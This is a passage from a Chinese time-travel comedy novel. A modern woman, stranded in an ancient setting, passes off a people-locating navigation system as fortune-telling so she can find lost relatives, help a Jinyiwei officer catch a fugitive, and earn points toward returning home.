《缺德导航为您算卦》
1. 寻亲问路,一卦应求
自周都往东三百里,有小城名邱。正春夏之交,楝花半落,蔷薇含羞。在那坊市街口,一年轻卦师摆摊挂幡坐,幡上写着:
“国师弟子,伏羲真宗。寻亲问路,一卦应求。”
正此时,一个身着石青曳撒的男人急步掠过,余光瞥见这摊后坐着的竟是个年轻女子,冷哼一声。
“现在真是什么阿猫阿狗都敢自称国师弟子了。”
他身后,几个锦衣男子纷纷附和:“是啊,国师大人道行高深,岂是这些江湖骗子能高攀。”
显然,周围不少路人也是这么想的,故而这卦师摊前十分清冷。直到日色西斜,终于有一个小山般的阴影笼在卦师头上。
“你,能找人?”
卦师正百无聊赖地甩搭着铜钱,闻言一愣,抬起头,见那大汉,脸上顿时绽开个热情的笑容:
“能的,能的,五十文,先找后付,找不到分文不取。大哥,您要找谁?须得有姓名与生辰八字,贫道才能起卦。”
她相貌平平,声音却意外地清爽,眼神明亮,倒不太似那久淫江湖的骗子。大汉心里不禁存了些期待,面上却仍绷着。
他认真思索了一番,才谨慎念出声:
“找俺娘。许氏。庚辰年,己卯月,壬午日,丙午时。”
卦师微顿半晌,捋顺道袍坐直身,敛起铜钱落龟甲,轻轻摇起来。面容沉静从容,姿态行云流水,一改方才闲散样,周身俨然大师范,莫非真有戏?
眼见这奇怪的外来卦师终于得了生意,周围几个得闲的街坊也耐不住好奇,零零散散地凑过去。
而众人视线中央的尚蓓,心底却在飞快地默念:
乾三连,坤六断,震仰……震仰盂,艮覆碗,坎中……虚,离中满……对,然后是什么来着?哦,兑下缺,巽上断。
待将那口诀磕磕绊绊默背了三遍,尚蓓终于将那龟甲轻轻一斜。三枚铜钱落定,她执笔,在一旁粗纸画下初爻,又捧起龟甲,偷偷觑向周围,心里不禁有些发虚。
这会怎么突然聚起人来了?她还想糊弄一下解卦的说辞呢。毕竟,她只是想走个过场,最后还不是靠她一张嘴定乾坤。
她定定神,再摇。
六爻过后,尚蓓掐着手指胡乱比划几下,看那卦象,心中微定。
这卦她背过了,两个巽摞在一起,不正是巽为风嘛!
她清清嗓子,朗声开口:
“此为‘巽为风’卦,风自东方来,故而令堂应在东方……”
“等等。”一个中年男人皱眉道:“这上面一断,不该是‘兑为泽’吗?老夫虽然不会解卦,但却识得这个样子。”
尚蓓声音一卡。糟糕!背反了!
她定了定神,轻咳两声:“你懂什么,这是我师门反卦之术!正因为要寻踪,所以……”
一个大嫂忽然打断她:“哎,这会不会是那边邹城的?那个骗子!”
尚蓓的面色顿时就僵了。原主你坑我啊!我都跑到邱城了,怎么还有人听说过你?
她额角冒出一层薄汗,正打算再辩解些什么,忽然见那大汉攥起拳头,面上凶神恶煞,大吼一声:
“你大爷的,敢骗老子!”
“别别别!”尚蓓赶紧捂住脑袋,“我真的算出来了,你娘就在东边半里一个院子,不信我带你去!”
见她这信誓旦旦的模样,大汉不禁有些犹豫。他捏了捏拳头,一把拽起尚蓓:“带路!”
尚蓓踉跄站好,手忙脚乱地收起摊子,拿块灰布把家伙事儿都包了起来,把包袱挎在肩上,往东方一抬下巴:“跟我来。”
而后在脑海中道:“系统,定位许氏。”
【缺德地图为您导航。沿当前道路向东出发,步行200米。】
大汉跟着她七拐八拐,拐进一条窄巷,心中不禁又开始警惕。他自幼在这邱城长大,分明知道这窄巷尽头是个死路。怎料她并未走到尽头,而是在半途停下,指指墙根一个狗洞:“从这过去就到了。”
大汉看着面前那狗洞勃然大怒:“死骗子,你敢骂俺!”
他挥起拳头就要往她面上砸。尚蓓勉强躲了一下,然后麻利溜蹲下身往那狗洞钻。
“我没骂你,不信我先过去。”
饶是大汉脑袋笨,此刻也明白过来了:这丫头片子是想跑呢,打量他身子壮,钻不过这狗洞。大汉气极,趴下身子往里抓,忽然听见狗洞后传来声音:“大娘,大娘,快醒醒!你儿子来找你了。”
大汉一愣。他从狗洞内探头进去,竟然真看见他娘缩在个破箱笼里,刚被摇醒,正哼哼唧唧。
“娘!”他大喊一声。
与此同时,尚蓓脑海中响起一串电子音:
【用户信誉分+10】
她心中小喜。趁着大汉翻墙的功夫,尚蓓赶紧去看自己的用户信息:
用户名:尚蓓。
信誉分:20。
出行权限:步行。
她又去看那权限等阶:
0~200分:步行。
200~400分:驴。
400~600分:牛。
……
10000分:时空传送门。
很好,照这个势头下去,再做998件好事,她就能打开传送门回家了。
尚蓓叹了口气,默默回想自己穿越后悲催的第一个月。她穿成什么不好,穿成个江湖骗子。绑定个什么系统不好,绑定个需要信誉分的导航系统,想提分,得做好事。而原主的信誉分,零。
街坊邻里谁也不信她,她只好连夜搬家,靠导航跑到这邱城,开启自己在全新环境做好事刷信誉分的回家大计。途中,她倒也努力帮过几个路人,但涨分效率实在太低,且自己还得设法谋生,不可能天天帮邻里折腾那些鸡毛蒜皮。
尚蓓琢磨了好几日,终于琢磨出这么个营生:假装算卦,用导航帮忙寻亲。
不过这个导航系统嘛……
尚蓓又看一眼那狗洞。
缺德,但管用。
她这一路已经领教够了,于是乎现在已经能毫无羞耻地往狗洞里钻。
思量间,那边大汉已经把老母背到身上,而后从汗巾子里摸出五十文钱,对她露出个憨憨的笑:
“对不住啊大师,搁那误会您了。这是酬钱,俺先把俺娘送回家,再去摊子前头给您赔礼。”
尚蓓看了看那臭烘烘的铜钱,心里有点儿嫌弃,却终究是没说出“做好事不收钱”这种话。
一路跋涉而来,原主那点子家当已经被她用了个七七八八,她还得吃饭住店,乃至买个小院子定居。
她接过铜钱,揣进兜里,面色如常:
“大娘没事就好,你快回吧。”
大汉“嗳”了一声,背着老母稳稳往外走。尚蓓看了眼狗洞,跟上他
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。
她确实人生地不熟,但那大汉似乎认路,那她也不想再跟导航钻一次狗洞。
两人就这么绕到了前头,原来这是个酒坊。见大汉从后院冒出来,酒坊掌柜惊讶地招呼他:“二狗,什么时候来的?大娘也在啊,这位又是?”
“甭提了,俺娘又跑丢了,这回丢你家后院去了,还是大师给俺算出来的!”二狗扭过身子努努她,“她可厉害了,俺找了一天都没影,她一卦就算出俺娘在哪!”
想起这二狗娘往日的事迹,掌柜心底也有些稀奇,试探着问出声:“大师,您能给我算算财运吗?”
尚蓓背起手,玄之又玄地摇摇头:“术业有专攻,贫道专修寻人一卦,其它恕贫道爱莫能助。”
说罢,她冲掌柜微微颔首,转身便要往门外去,忽闻街巷一阵喧哗,一群佩刀男子直直闯入坊中,惊得酒客四散。二狗也吓破了胆,连忙把老母扶到一旁歪着,哆哆嗦嗦地让番子检视。尚蓓环视一圈,也老老实实缩到一边。
为首那人一身石青曳撒,大步迈向酒坊掌柜,抬手抖开张画像,冷声道:
“此人,你可见过?”
那掌柜吓得腿都软了,忙躬身垂首,仔细看了一番,连连摇头:“大人明鉴,草民从未见过此人!”
天杀的,这人可是锦衣卫赫赫有名的千户,夏楠!
夏楠冷哼一声:“从未见过?据供认,此人曾频繁在你店与线人接头。你莫不是与细作勾连,有心包庇?带走,好生审问。”
一声令下,几个番子便齐齐上来按住了掌柜,任他哭求告饶都无动于衷。夏楠拿着画像,在店里问了一圈,到尚蓓这儿,她见那画像下的赏银千两,眼睛一亮:
“大人,贫道有办法找到他!”
夏楠闻言,定神看她,认出她是街口那个年轻卦师,不禁有些鄙夷。
“你知道他在哪?”
尚蓓从包裹中翻出龟壳,晃了晃:
“如您所见,我是个卦师,专擅算卦找人。只要有犯人姓名以及生辰八字,贫道便能给您算出来他在哪。”
见夏楠面色是明晃晃的质疑,她又一挺胸脯道:“贫道方才给这位大哥卜卦,带他找到了走丢的老母,不信您问他。”
尚蓓向二狗投去殷切的目光,却见二狗抱着老母缩在墙角,浑然像不认识她。
她面色一僵。
还好,有酒坊掌柜急急帮腔:
“大人,草民可以作证,这位大师神算无遗!大人奔波半日,不妨坐下暂歇片刻,看这位大师起一卦。若不成,您也不过只多花了一盏茶的时间。若成,您却可早些复命,岂不美哉?”
夏楠盯着尚蓓那年轻明朗的面庞,仔细打量了一番,终是对一个下属挥挥手道:“你们先去下一家搜,我片刻便来。”
那下属一迭声应了,领着另外几个番子退了出去。夏楠从怀中掏出一张海捕文书,拍在她面前:“算。”
尚蓓对着文书上的信息,在脑海中念道:“系统,添加联系人。姓名:于痊。生辰八字:乙酉年,壬午月,丁亥日,庚子时。”
【联系人于痊添加完成。】
见那犯人坐标出现在邱城内部,尚蓓心里微定,而后在酒案边坐下,敛起铜钱落入龟甲,轻轻摇动。
六爻过后,她拈着指尖比划了一番,镇定道:
“贫道算出来了,这于痊就在西街那家客栈!”
2. 九玄龟壳
好在客栈同酒坊只隔半条街,故而路线不算缺德。尚蓓气定神闲地走进客栈,老板见她身后跟着尊煞神,吓得浑身血都凉了,忙不迭点头哈腰地招呼着。
“不知夏大人大驾光临,草民有失远迎!”
夏楠没理他。他吩咐左右守住大门,正欲闯进去挨个搜,忽见尚蓓虚拦了他一把:
“别急,我还没带完。”
夏楠不耐地一压手,尚蓓露出个志在必得的笑,仔细听着脑海中的电子音。
【您已进入室内。右转,走楼梯上三楼。】
二人在一间上房门口停下。
【您已到达目的地,步行导航结束。】
她向夏楠眼神示意。随后响起的,是夏楠破门的巨震。
“砰!”
门板狠狠撞翻在墙面,房里骤然传出尖叫声。夏楠迈入,目光锐利扫视四周,只见里间榻上,一男子慌忙摸过锦袍往身上套,背后一个女子,正裹着被褥发抖。
男子骂骂咧咧地爬下床:“哪儿来的狂徒,敢扰本官……夏大人!您可是有什么吩咐?”
夏楠挥开他,径往床下、橱柜等地方搜去,却一无所获。末了,他回身转向尚蓓,眼底狠戾:
“这就是你说的神算?”
番子迅速拧上她的肩臂。尚蓓呆在原地,盯着里间那对男女,满脑发懵。
一男,一女,除此之外,再无他人。
可导航分明带到这儿。莫非,是八字输错了一位,好巧不巧与这位公子相同,故而定到他身上?亦或者……海捕文书上的信息本就有假?
眼看夏楠扣上刀柄,尚蓓强迫自己冷静下来。
不,不对。八字可能有同样,但姓名没那么容易重。输错信息,只会显示该用户不存在。
既然夏楠认识这个男子。
那么。
她目光刺向榻上那个“女子”。
“是他!”
她话音未落,那“女子”便陡然掀了被褥,一个旋身就往窗外翻去。夏楠反应过来,连忙箭蹿两步跳出窗外,转瞬间便没了人影。
尚蓓长舒一口气,番子随即也松了她,转而拧上那男子。那男子面色涨红,哭喊道:“大人明鉴!这女人是客栈送进来的,我根本不认识她!我、我还没碰她呢,我不知道她有什么猫腻!”
然而番子却不给他解释的机会,押着那男子往外走,哭嚎的声音逐渐消失在客栈外。尚蓓掏了掏耳朵,转身走到自己住的下房。
这不巧了,她昨天才到邱城,就住这家客栈。
今日出了两单,收获颇丰,估计不出两日,她这“神算”的名号就能打出来了。尚蓓看了看天色,也不打算再回去摆摊,左右有那笔赏银兜着,她半辈子都不会愁钱花。
尚蓓略作收拾,便下至正堂,奢侈地要了碗鸡丝面,美滋滋用过晚膳,甚至还花了十文钱同店家买了桶热水,仔仔细细洗了遍澡。
爽啊!
洗完澡,尚蓓一头扑到床上,舒舒服服钻进被窝,幻想着自己拿到赏银之后该买个什么样的小院子,买些什么样的衣服,吃些什么样的美食,甚至雇个什么样的帮工。
奔波十余日,这还是她睡得最舒服的一觉。
然而好梦不长,半夜里,窗棂微动。睡梦中,尚蓓隐约察觉有什么东西在拍自己,她迷迷糊糊醒来,见月色下,一双漆黑的瞳孔紧紧盯着她。
“别出声。”
熟悉的声音入耳。尚蓓张了张嘴,喉间一阵滞涩,这才后知后觉地发现,自己颈上横压着只刀鞘。那刀鞘很漂亮,月光下隐隐可见螺钿的磷光,握鞘的手却刚巧卡在她肩窝里。
尚蓓背后泛起一阵凉意。
“再算一卦。”夏楠声音冰冷,“于痊。”
尚蓓神思瞥了一眼地图,发现那逃犯在城外五里地。她强迫自己冷静下来,动作极微地点点头,然后示意性地拍了拍他的手。夏楠松开她,掌心却仍扣在刀柄上。
尚蓓慢慢起身下床,摸着黑去翻自己的包袱,心里盘算着能不能糊弄过去。
大晚上的,往荒郊野外跑,还是跟着缺德导航。这活儿她真不想揽。
摸到龟甲,尚蓓上手悄悄捏了捏,随后慢悠悠捡起铜钱往龟甲里塞,借着月光,她面容虔诚,手上动作不紧不慢,俨然是在认真卜算。
夏楠紧紧盯着她。
一个年轻卦师算得这么准。究竟是真有道行,还是与那于痊本就有所联系?
他想起给奸细打掩护的那个小官,一番刑讯什么都招了,还说这卦师本就是他们一伙,只是因为分赃不满而反目成仇,故意指认他们。
但,老板说她一晚上都待在客栈里,未曾出门,必然不知晓奸细之后的行踪。
如果她还能算出来……
“啪!”
黑夜里一声脆响,打断了夏楠的思绪。随即耳边又响起尚蓓痛苦的声音:“这、这一卦,我算不出……”
夏楠定睛一瞧,见那龟甲已然在地上摔作八瓣,而尚蓓正捂着脑袋乱撞,一副精神错乱的模样。他面容顿时冷了下来,伸手抓过她胳膊反扣在案边,声音阴狠:“是算不出,还是不想算?说,你和那于痊是什么关系?”
尚蓓心一惊。
男人阴冷的气息落在她后颈,混着淡淡的血腥气,尚蓓只觉自己关节被扭得火辣辣的疼,此刻她才明白了二狗那时的退缩。她初到这个世界月余,还是太天真了,一时脑热,就为着千两银子,招惹了锦衣卫。
“不说是吗?”冰冷的声音再度响起,“进了诏狱,有你说话的时候。”
他钳着她双臂起身,慌乱之中,尚蓓瞥向那碎裂的龟壳,急声道:“我不是算不出!但这一卦起码有五里远,而这龟壳太过低劣,承受不住这一卦所需的法力!我需要九玄龟壳,才能承受住五里以外的探寻!”
夏楠眯起眼睛:“九玄龟壳?”
那于痊最后消失的地方,可不就是在五里之外。
“是。贫道这普通龟壳灵脉稀薄,只能算五里之内。只要有九玄龟壳,贫道定能算出那人位置。”尚蓓小心翼翼道,“只是贫道囊中羞涩,用不起那通灵之物。不知大人可否助贫道借一只来?待贫道卜卦过后再还回去便是。”
夏楠盯着她信心满满的面庞,眼神微凝。
这卦师的来历他也着人打听过了。邹城人氏,昨日才到邱城,摆了一整日摊,一出手就寻到了大汉的傻子老母。若说找到于痊是因为认识,那帮一个素不相识的人找到亲人,难道是巧合吗?
况且这九玄龟壳虽然昂贵,但不算难得。周朝尚道,大凡富贵人家都有一只用来消灾问吉。这年轻卦师生意不好,说自己买不起倒也合理,这番话起不到拖延的作用。
“只要九玄龟壳就能算出?”他又问了一遍。
尚蓓忙不迭点头:“对,只要有了九玄龟壳,我的法力能够施展到……五十里。”
夏楠给外面打了个手势。
“去弄个九玄龟壳。”
窗外一阵窸窣,不多时,便有个番子捧着一个九玄龟壳回来了,质地厚重,纹理细腻,油光水滑,一看就经过了多年盘磨。
也不知是哪家有钱人半夜被耗起来,战战兢兢以为要完蛋,发现如狼似虎的锦衣卫只是来他家借龟壳。
“算。”夏楠将那龟壳搁在案上,盯着她
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尚蓓心中暗暗叹了口气,看来这一劫她今日是躲不过了,不如尽快送走这尊煞神,也好早些拿到赏银跑路。
她定了定神,又装模作样地卜了一卦,最后镇定道:“我算出来了,他在城北一片野林。”
夏楠扔给她一个包袱:“把衣服换了,带路。”
【准备出发,全程二点八公里,预计耗时五十九分钟。】
……
子夜时分,四个黑影悄没声地出了城,打头那瘦小一只,赫然便是尚蓓。
邱城三面环山,官道本就不平坦,更别提她往山里拐。没百步进了片坟场,晦影重重,似有风哭。作为现代人,尚蓓虽然不怕鬼,不信神。可这氛围到了,难免也有些心慌。
“你确定是这个方向?”
身后的声音更像鬼。尚蓓一惊,脚下一滑往旁歪去,瞬息之间,后腰却被人托了一把。勉强站定,她才欲道谢,便听见夏楠语气森然:“寅时前若还没寻着,便押你回去仔细审问。”
尚蓓心底不禁有些恼火。是谁追丢了犯人,反过来拿功臣抵罪?这锦衣卫的心果然黑透了。
她咬着牙把谢语咽回去,继续前行,忽见夏楠越过她两步,虚拦住她,微顿片刻,反手抽刀向草丛中猛地一刺!
“嘶——”
回神时,只见那森森寒刃上赫然穿着一条黑蛇,约莫三尺来长,在刃中徒劳地扭动了几息,便再没了动静。夏楠挥刀甩落蛇尸,顺手劈开前面一丛荒草,回身看她:“往前?”
尚蓓惊魂未定地点点头。
夏楠未再多言,转过身去,劈草开路。尚蓓紧紧跟在他后面,目光死死盯着他后腰鞶囊,看也不敢看左右坟包。她踩着他的脚印,一步一步往前走,好歹是穿过了这片坟场。然而这还不算完,坟场后头是条河沟。
这河沟倒不宽,但夜色沉沉,看不清水有多深。尚蓓望着那黑暗中浮动的波澜,心底开始打退堂鼓。
“是这个方向没错,但……”她努力解释,“我没想到这儿走不通。”
夏楠瞥她一眼,没应话,四下环视一圈,躬腰自地上捡了颗石块,往沟中一抛。
“扑通。”
他回身冲番子打了个手势。
“能走。”
轻飘飘抛出两个字,夏楠便先纵身跃下沟壁。待到水边,他刀鞘探了探,才缓步迈进水中。两个番子也几步跟上,瞬息间人已下到了河岸。夏楠令番子先涉水探路,自己则站定回身,等她。
对上他漆黑的双瞳,尚蓓心头一跳。
月色下,水影间,男人扶刀定坤乾。管他岸前坡后鬼,先欠八百买命钱。
此景入眸,尚蓓心中莫名安定了不少。她蹲下身子,摸索着土壁向下探。这土壁不算太陡,但砂砾松散,不易落脚。她挪动着往那相对平整的石块上踩,不料石块一松,格楞楞滑了下去。
“啊!”
寂夜中惊呼混着钝响,夏楠一旋身闪过石块,见尚蓓抓着丛茅草趴在壁上,脚上急得乱踩,又蹬下几瓢泥沙,不由得皱了皱眉。他大跨几步上前,伸手往她腰间一捞,便将人稳稳带到身侧。
陡然撞进那个结实的怀抱,尚蓓下意识地攥紧他前襟,忽而觉察自己指缝土腥黏腻,又讪讪松开。她略略平复了一番呼吸,刚要出声道谢,头顶落下一声轻笑。
“大师认路倒是一把好手,只可惜这走路的道行还要多多修炼。”
尚蓓撇撇嘴。谁和你似的大半夜爬土坡还健步如飞啊!
她推开夏楠,伸脚往水边探了探,忽然发现脑海中的坐标动了起来!
糟糕!恐怕是自己方才喊声太大,惊动了犯人!
3. 马不让我骑
“他要跑!”尚蓓急急指了个方向,拉着夏楠道,“就在对岸百步左右!我动作慢,你先去追!”
夏楠闻言神色一凛,冲对岸的下属打了个手势,二话不说将她抗到肩上,几步趟过河沟往前冲。尚蓓被他晃得头晕目眩,死死攥着夏楠后背衣料,只觉晚上那顿鸡丝面都要被颠出来了。
“往西……他……跑……”
她勉强聚起精神,紧紧盯着脑海中的坐标,向夏楠实时播报路况。不到半柱香的功夫,前头林里传来打斗声,两个先行的番子已然同那于痊交上了手。夏楠把尚蓓往一旁树根一放,丢下一句:“老实呆着。”随后便飞身加入战局。
尚蓓脱力地靠在树根下,大口喘着气,心道这千两赏银果真不是好赚的。她听着那边刀剑铮鸣,小心翼翼地往树后挪了挪,默默祈祷这位夏大人能给点力,别再折腾她了。
好在树后的声音听起来还算顺利。没过多久,于痊怨毒的声音响彻野林:“夏楠!你这个薄情寡义的畜生!我下地狱也不会放过你!”
原来他叫夏楠。尚蓓心想。
与此同时,脑海中响起电子音:
【用户信誉分+100】
尚蓓精神一振。本以为就是顺道赚点快钱,没想到这还能加信誉分?她连忙调出面板,去看信誉分的变动明细,只见上面赫然写着:协助官府抓获通缉犯,信誉分+100。
要是靠这个营生的话……尚蓓心底打起思量。这可是锦衣卫,她能保证每一次抓的都是坏人吗?
转瞬间,树后面痛哼几声,最后只剩呜呜的闷响。尚蓓试探着从树后冒出头来,见那于痊已然被捆了个严严实实,嘴里堵着团破布。
察觉她动作,夏楠偏头唤道:“出来吧。”
尚蓓拍拍身上的土,走到夏楠跟前,“嚯”了一声。难怪这于痊如此难抓,眼前这张脸,别说同客栈里那女子模样,就是同那悬赏画像也判若两人。若非她这系统只认ID不认脸,还真不好说。
见她出现,于痊眼里射出淬毒的恶意。尚蓓忽然蹲身靠近,一把扯开于痊嘴里破布。于痊一愣,随即狠声道:
“你究竟是何人?为何总能找到我?”
尚蓓没搭理他,侧脸看向夏楠,笑眯眯道:“夏大人,您瞧,他不认识我。我同他真没什么交情。”
夏楠微微偏头:“知道了。”他伸手接过破布,又给于痊堵上。
“那赏银……”尚蓓激动地搓着手上的泥巴。
夏楠没料她提这茬,面色微滞,半晌,才冷哼一声:“待我回京,便替你上报请赏。”
“还要等那么久啊。”尚蓓十分失望,“能不能先支点?不瞒您说,我现在挺缺钱的。”
“不久。你是关键证人,需与我同归复命。”夏楠指挥番子押好于痊,转身冲她一摆头,“走了。我送你回客栈收拾一下,即刻动身,快马两日可至。到京验过人,你便可当场领赏。”
尚蓓闻言,面色一僵。
“呃……我可能骑不了马。”
夏楠步伐一顿,回身看她,语气竟带了点揶揄:“怎么,大师不会骑?那我倒可以勉为其难带你同乘。”
尚蓓心虚地移开眼。
“不是这个问题。是……马不让我骑。”
……
半个时辰后,邱城官驿。
夏楠绷着脸,又牵来一匹驿马。
“这马性情温顺,腿脚尚可,你试试看。”
尚蓓小心翼翼地挪过去,距离那马足足还有一丈远,那马便嘶鸣一声,蹬着后蹄冲她打响鼻,任夏楠怎么拽也止不住。
尚蓓摊开双手,一脸无辜。
“都说了。贫道身负灵韵,凡畜受不住我灵韵冲撞,自然近不得我身。”
她内心偷偷去看那出行权限:
800~1000分:劣马。
信誉分低到连匹马都骑不了。
也还好骑不了,不然就得跟他走了。
夏楠不信邪,将驿站上上下下所有马都牵出来试了个遍,甚至还找来一头小毛驴。果然,不论多么温顺的牲口,只要尚蓓一靠近,立刻就躁动不安。
奇了怪了,怪了奇了。
都说异人大都身带异相,想到这卦师的本事,夏楠忍不住信了几分。只是那些畜生的架势,哪像见到神仙,倒活像撞了什么邪祟。
他上上下下打量她一番,终是拧着眉叹了口气。
“既如此,你且留在邱城等着。待京城事毕,我亲自将赏银给你送来。”
夏楠将最后一匹劣马交给驿丞,转而走向一旁候立的良驹,忽然被尚蓓近前两步虚拦住。他微微偏头,唇角勾起一个极淡的笑意:“大师且放心,夏某俸禄虽薄,还不至于贪你千两赏银。”
却见尚蓓从怀中摸出那九玄龟壳,坦然道:“这个给你。你要是着急赶路,告诉我从哪儿借的,我自己去还也行。”
夏楠眸中微讶,随即摆摆手:“不必。我已经着人买下来了,你留着用便是,权当给大师压惊。”
尚蓓摸着龟壳,满脸写着欲迎还拒:“那怎么好意思。要不,我给夏大人看看面相吧?”
“大师还会相面?”夏楠挑眉,倒真有几分好奇。他向灯笼下靠了几步,轻轻回眸,“那便,有劳大师了。”
尚蓓跟上前去,抬头仰视他。
柳眉长蹙疑壑,羽睫半掩墨瞳。本是生来好姿容,却为杀伐累重。
她略盯了他半晌,收敛心绪,温声道:“你眨眨眼。”
夏楠不明所以,还是眨了眨眼。
稍停片刻,却听她又道:“你张张嘴。”
夏楠“啊”了一声,没忍住问道:“你这是什么相面法?”
“停!别动!”尚蓓抬手定住他,而后装模作样地仔细端详了他一番,实则听着脑海中的声音:
【人脸识别完成。联系人夏楠已添加。】
她这才深沉地点了点头,敷衍地背了段词:“夏大人天庭饱满,地阁方圆,是大富大贵之相。只是近来命宫带煞,夏大人功高返京,当恐小人作祟。”
夏楠摸了摸自己的下巴。大富大贵?以前分明有人说过他
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杀性太重,活不过四十。他盯着尚蓓一脸玄妙神色,想到她那神算之能与斥畜异相,终究是没好意思反驳。
他轻哼一声:“多谢大师提点。若无事,我走了。你记得在邱城等我。”
“夏大人慢走。”尚蓓声音平静。
她负手站在门口,看着一行人身影消失在黎明中,脑海中坐标随之远离,终于松了口气。而后优哉游哉回到客栈,粗略洗过手脚,换了身干净衣裳,接着睡。
这一觉睡得才是真正踏实。次日正午,尚蓓收拾起身,下楼打算吃早午饭,竟见酒坊掌柜立在客栈门口,身后还跟着妻儿,显然等了有些时候。
“大师!”见她下来,酒坊掌柜忙不迭拉着妻女行了个大礼,“在下张贵,多谢大师救我!”
与此同时,尚蓓脑海中响起电子音:【用户信誉分+10。】
尚蓓眨眨眼,才想起来自己阴差阳错替他解了围,不禁有些心虚,毕竟她主要是稀罕那赏银。
“一点小事,不必在意,张大哥快请起。”
尚蓓连忙上前去扶,但张贵执意磕了个头,这才起身,脊背仍躬着:“若非大师神算,助锦衣卫抓到真犯,我怕是已经……”
张贵越说越哽咽,他身旁的妇人也红了眼。尚蓓稳了稳心神,拉他们坐下,这才温声道:“贫道久居方外,最近才奉师命下山游历,不太通晓俗事,正有些疑问欲请张大哥解惑。”
张贵连连点头:“大师请讲!张某必知无不言、言无不尽!”
尚蓓端着大师的架子,沉吟片刻,方斟酌着开口:“敢问这夏楠是什么来头?张大哥为何如此惧他?”
张贵一惊,左右看了看,压低声音道:“大师有所不知,这位夏大人疑心极重,大凡他查案,那是宁可错杀也不肯放过的。他若是怀疑一个人,须得先进诏狱过上一套,哪怕这人最后是清白的,出来也只剩半条命了。”
尚蓓心神一肃。难怪夏楠怀疑她同于痊有牵连,好家伙,原来是刻在脑回路里的底层逻辑。
此刻想来,尚蓓着实有些后怕,这人能半夜摸进客栈逼她算卦,能因为她一句算不出就怀疑她,更能为了查案胡乱抓人,她往后还是别打交道的好。
她又看了眼夏楠的坐标。不过半日功夫,人已经到了百里外,仍然在往西边京城方向一点点挪动。那于痊的坐标也跟他重叠在一起,好歹这回没再把人弄丢。
真特种兵也。他不用睡觉的吗?
正此时,客栈老板给她端来一碗清粥,并一碟腌菜。张贵看了这饭食,皱眉道:“大师怎能用这般粗劣之食?在下家中尚有几分薄产,大师不若移步敝舍,也容我们一家子尽尽心。”
尚蓓摆摆手:“多谢张大哥美意,只是贫道初到邱城,还需找个地方落脚,待我安定下来,定当登门拜访。”
“大师可是要买个院子?”张贵在一旁殷切道,“我刚好知道城南有户人家急着出手,大师若不嫌弃,张某愿替您去周转一番,保准价格最公道!”
尚蓓心中一喜。她恳切道:“那便拜托张大哥了。”
4. 东市卖骏驴
不过两日,尚蓓便拎包入住。新家在城南巷,二进格局,清净敞亮,带家具,价格确实也公道。只是她一时没有现银,于是把那九玄龟壳当了才买下。
略作修整,尚蓓便买了些糕点果子,去拜访左邻右舍。
这两日,尚蓓的名声已经小为流传,邻居或还有些疑窦,见了她这坦荡和善的模样也消解几分。到了巷尾那户,院门格外高大气派,像是个有家底的,门口还有管家通报。
尚蓓随人进入正厅,一位面容儒雅的中年男子捋须起身:“尚道长,在下沈源,幸会。道长年纪轻轻,便有如此道行,实在令人艳羡。”
尚蓓躬身应道:“沈员外谬赞。晚辈初入红尘,于许多俗事不甚明了,还需先生多多指教。”
沈源面容微讶,随即轻轻颔首:“我在这邱城做些小生意,还算有些人脉。道长初来乍到,又是独居。若有难处,可随时来寻我。”
两人又寒暄几句,尚蓓起身告别。她把城南巷几户人家都串了个遍,最后才回到新家。
次日一早,尚蓓照旧去坊市街口摆摊。
“国师弟子,伏羲真宗。寻亲问路,一卦应求。”
她刚把幡子挂好,便有人凑上前来问东问西,却没真要找人。尚蓓也不恼,端着个玄妙的架子与人随意攀谈,左右她此时不急着赚钱。
只是普通百姓哪有那许多人要寻,何况她五十文钱于平民而言也不算小数。她摆了一整日,才接到一单,是个农户要找他前些年战死的阿兄。农户梗着脖子说他不信阿兄已死,然而尚蓓按着八字仔细输进去,却分明是“联系人不存在”。
尚蓓叹口气道:“大伯,节哀。”
“你这个假道士!”农户红着眼吼道,“我阿兄答应我,一定会回来的,他必然还活着!定是你法力低微,算不出!”
周围立刻围上来几个看热闹的人,尚蓓神色淡淡:“大伯,世事无常,天命有数。贫道道行虽浅,还不至于信口雌黄。你若不信,那便另请高明吧。”
几个街坊拉着他退走了,却没给她加信誉分,尚蓓只得了五十文钱,不禁有些忿忿。不过这一卦下去,她倒也琢磨出个新营生:算生死。
于是幡上多了一句:“生死传讯,请卦知安。”
古代通信不便,总有人牵挂远在外地的亲旧,却无法及时收到消息,她这一卦,虽不能立刻验证真假,但也足以让不少人心安。加上偶尔接的寻人营生,尚蓓的信誉分稳定地增涨着,过了五六日,终于达到令人欣慰的200。
【检测到用户信誉值达到200,出行权限驴已解锁】
尚蓓心中大喜,当天收摊后便跑去东市卖骏驴。然而东市卖骡卖马的商人也都混在一处,她人一冲到市口,那些牲畜们便齐齐焦躁起来,冲着她嘶鸣不安,整个东市乱作一团。
除了驴。
尚蓓僵在原地,看着周围人惊诧的目光,尴尬地往外挪了挪,拉住一个熟稔的街坊道:
“贫道……最近修行略有所得,掌控了收束部分灵韵的方法,现今已能御驴了,可骡马还无法近身。可否劳烦徐叔进去,帮我挑匹腿脚好的驴子,牵到市外来?贫道定有重谢。”
那徐叔豪气地一甩臂膀:“放心吧大师,俺保准给你挑头最稳当的!”说着便抬脚往牲口堆里去,一番挑拣后,果真牵出头油光滑亮的小毛驴。
尚蓓一个现代人,连马都没骑过,更别提驴了,起初还有些惴惴。然而鞍鞯配好,她摸索着爬上驴背,那小毛驴自己就稳稳地走了起来,一点不用她费心。
不愧是信誉的力量!
她略一熟悉,便得意洋洋地骑着驴回了城南巷。
然而次日一早,尚蓓去后院打算喂驴,却只见一根缰绳虚挂着。她找遍院子每个角落,最后发现后门没关紧。尚蓓急忙追着地上的蹄印寻去,不一会,撞见沈源的周管家黑着脸把驴牵回来。
“尚道长,你家驴一大早溜到沈家,把我们老爷墙根下一丛芍药啃秃了!”
尚蓓满脸尴尬,跑过去拉住缰绳:“周管家,对不住,我昨晚忘了关门,这畜生跑出来了。花钱我赔您。”
周管家冷哼一声,摆摆手:“几朵花而已,老爷说不必赔。不过尚道长可是要看紧些,若是再啃了别的要紧东西,可就不好说了。”
尚蓓连声道谢,赶紧把驴牵回院子拴紧了,而后搬了个小杌子坐在驴面前,对它和蔼道:“你眨眨眼。”
小毛驴无辜地眨眨一对大眼睛。
【未识别到人脸,联系人添加失败】
尚蓓叹了口气。看来导航系统只认人,没法靠这个功能寻驴。她板着张脸,给驴喂了根萝卜,驴儿啃得欢快,一点看不懂主人的心思。
没过两日,又有新状况。她也不知道哪儿没给这畜生伺候好,驴拉肚子了。
